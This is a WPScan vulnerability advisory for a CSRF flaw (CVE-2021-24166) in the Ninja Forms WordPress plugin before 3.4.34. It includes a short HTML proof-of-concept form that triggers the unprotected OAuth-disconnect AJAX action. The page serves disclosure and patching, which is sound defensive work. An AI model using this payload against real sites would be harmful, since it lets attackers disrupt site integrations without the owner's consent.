WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Ninja Forms < 3.4.34 - CSRF to OAuth Service Disconnection

Description

The wp_ajax_nf_oauth_disconnect from the plugin had no nonce protection making it possible for attackers to craft a request to disconnect a site's OAuth connection. 

Proof of Concept

<html>
  <body>
    <form action="https://[URL_HERE]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="nf&#95;oauth&#95;disconnect" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html> 

Affects Plugins

ninja-forms
Fixed in version 3.4.34

References

CVE
CVE-2021-24166
URL
https://www.wordfence.com/blog/2021/02/one-million-sites-affected-four-severe-vulnerabilities-patched-in-ninja-forms/

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Chloe Chamberland

Submitter

Chloe Chamberland

Submitter website
https://wordfence.com
Submitter twitter
infosecchloe
Verified

Yes

WPVDB ID
b531fb65-a8ff-4150-a9a1-2a62a3c00bd6

Timeline

Publicly Published

2021-02-16 (about 1 years ago)

Added

2021-02-17 (about 1 years ago)

Last Updated

2021-03-19 (about 1 years ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceDisclosure policy
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us